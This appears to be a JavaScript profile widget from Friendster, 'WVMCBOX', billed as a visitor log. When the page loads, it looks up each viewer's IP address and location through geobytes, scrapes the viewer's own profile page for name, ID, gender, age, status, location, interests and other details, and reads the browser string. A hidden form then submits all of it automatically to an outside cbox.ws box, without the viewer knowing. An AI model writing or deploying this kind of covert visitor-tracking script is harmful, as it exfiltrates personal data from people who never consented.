/*IP n Location original by Nopathz*/
var geonopz = document.createElement("script");
geonopz.type = "text/javascript";
geonopz.src = "http://gd.geobytes.com/gd?after=-1&variables=GeobytesIpAddress,GeobytesCity,GeobytesRegion,GeobytesCountry";
document.getElementsByTagName("head")[0].appendChild(geonopz);

/**
* WVMCBOX version 2.3
* Author: FeRuZZ © http://profiles.friendster.com/feruzz
* Timestamp: GMT+8 10.15PM April 16, 2008
* free to use but not free to resell
**/

if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();};

var WVMCBOX;
if (typeof WVMCBOX == "undefined" || !WVMCBOX) { WVMCBOX = window.WVMCBOX || {}; }
(function() {
    WVMCBOX = {
        //private property
        div: null,
        //date: Date().replace(/\(.+\)/, ""),

        ifstyle: [
            "100%",    //width
            "300",     //height
            "auto",    //scrolling
            "yes"      //allowtransparency
        ],

        base: {
            "cboxdiv": ["www2","1874107","5002"]
        },

        //null if not exist
        details: {
            shoutout:null,
            gender: null,
            age: null,
            status: null,
            location: null,
            seek: null,
            since: null,
                        profileViewed: null
        },

        //get viewer details
        regexp: {
            shoutout: /shoutouttxt"\s*style="padding\:\s*0px;\s*margin\:\s*0px;">([\S\s]*?)<\/span>/i,
            gender: /q">([\S]*male)/i,
            age: /male,\s*([\d]*),/i,
            status: /male,\s*[\d]*,\s*([\S\s]*?)<\/span>/i,
            location: /Location\:\s*<\/span><a[\S\s]*?>([\S\s]*?)<\/a><\/li>/i,
            seek: /Interested\s*In\:\s*<\/span>([\S\s]*?)<\/li>/i,
            since: /Member\s*Since\:\s*<\/span>([\S\s]*?)<\/li>/i,
                        profileViewed: /\/profilehistory\.php">([\S\s]*?)<\/a>/i
        },

        init: function() {
            WVMCBOX.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, WVMCBOX.viewer, null);
            setInterval("window.wvm_submit.location.href=document.getElementById('wvm_submit').src", 200000);
        },

        viewer: function(htm) {
            if (htm.replace(/^\s*|\s*$/g,"") === "") {
                alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");
                return;
            }else if (htm) {
                for (var val in WVMCBOX.details) {
                    try {
                        WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
                    }catch(e) {
                        WVMCBOX.details[val] = "";
                    }
                }
                var status = WVMCBOX.details.status;
                switch (status) {
                    case "":
                        status = "Its Complicated";
                        break;
                }
                var seek = WVMCBOX.details.seek;
                switch (seek) {
                    case "":
                        seek = "Just looking around";
                        break;
                }
                                if (WVMCBOX.details.shoutout == "") {
                                WVMCBOX.details.shoutout = "no shoutout";}

                for (var seeboks in WVMCBOX.base) {
                    var htmlspaces = "&nb"+"sp;";
                    var htmlbulls = "&bu"+"ll;";
                    WVMCBOX.div = "<iframe frameborder=\"0\" width=\"" + WVMCBOX.ifstyle[0] + "\" height=\"" + WVMCBOX.ifstyle[1] + "\" scrolling=\"" + WVMCBOX.ifstyle[2] + "\" allowtransparency=\"" + WVMCBOX.ifstyle[3] + "\" marginheight=\"2\" marginwidth=\"2\" src=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+
                    "<div style=\"display:none\">" +
                    "<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=submit\" method=\"POST\">" +
                    "<input type=\"text\" name=\"nme\" value=\"" + pageViewerFName + "\">" +
                    "<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/" + pageViewerID + "\">"+
                    "<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"500\" cols=\"22\" rows=\"3\" name=\"pst\">" + WVMCBOX.details.gender + "," + htmlspaces + "" + WVMCBOX.details.age + "," + htmlspaces + "" + status +
                    "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.since.replace(/^\s*[\w]*?/gi,"Member Since: ") +
                    "[br]" + htmlbulls + "" + htmlspaces + "Interested" + htmlspaces + "In:" + htmlspaces + "" + seek +
                    "[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.location.replace(/^\s*[\S\s]*?/gi,"Location: ") +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.profileViewed.replace(/^\s*[\S\s]*?/gi, "Profile Viewed: ") +         
                    "[br]" + htmlbulls + "" + htmlspaces + "Browser:" + htmlspaces + "" + navigator.userAgent +
                    "[br]" + htmlbulls + "" + htmlspaces + "IP :" + htmlspaces + "" +sGeobytesIpAddress+"[br]"+sGeobytesCity+", "+sGeobytesRegion.split("(",1)+
"[br]"+sGeobytesCountry+
"[br][br]"+WVMCBOX.details.shoutout+ 
                     "</TEXTAREA>" +
                    "</form>"+
                    "</div>";
                    addBox("<a href=\"javascript:void(0);\" onclick=\"EFFECTS.boxFX(this,'content_wvmcbox','" + EFFECTS.effect + "','http://i94.photobucket.com/albums/l116/feruzz/show.png','http://i94.photobucket.com/albums/l116/feruzz/hide.png');\">" +
"<img src=\"http://i94.photobucket.com/albums/l116/feruzz/show.png\" style=\"float: right;padding: 4px 11px;\" title=\"wvmcbox\"><div title=\"header=[Visitor Box] body=[Visitor Box is here..]\"></a>Visitor Log</div>","<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>","wvmcbox","left");
Effect.toggle('content_wvmcbox')
                }
                if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) {
                    try {
                        document.wvmcboxform.submit();
                    }catch(e) {
                        document.getElementById("wvmcboxform").submit();
                    }
                }
            }
        },

        ajaxRequest: function(type, url, cont, param, func, handlerparam) {
            /*
            * ajaxRequest function
            * version: 2.1
            * Copyright: FeRuZZ © http://profiles.friendster.com/feruzz
            *
            * @type: "GET" | "POST"
            * @cont: true | false
            * @param: param | null
            */

            var httprequest = null;
            var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
            for (var x = 0, len = msxml.length; x < len; x++) {
                try {
                    httprequest = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(msxml[x]);
                    break;
                } catch(e) {
                    httprequest = null;
                }
            }
            if (typeof func === "function") {
                httprequest.onreadystatechange = function() {
                    if (httprequest.readyState === 4) {
                        if (httprequest.status === 200) {
                            func(httprequest.responseText, handlerparam);
                        }
                    }
                };
            }
            httprequest.open(type, url, cont);
            httprequest.setRequestHeader("ajaxRequest", "true");
            httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");
            if (type === "POST") {
                var contentLength = param ? param.length: 0;
                httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                httprequest.setRequestHeader("Content-length", contentLength);
                if (httprequest.overrideMimeType) {
                    httprequest.setRequestHeader("Connection", "close");
                }
            }
            httprequest.send(param);
        }
    };
})();
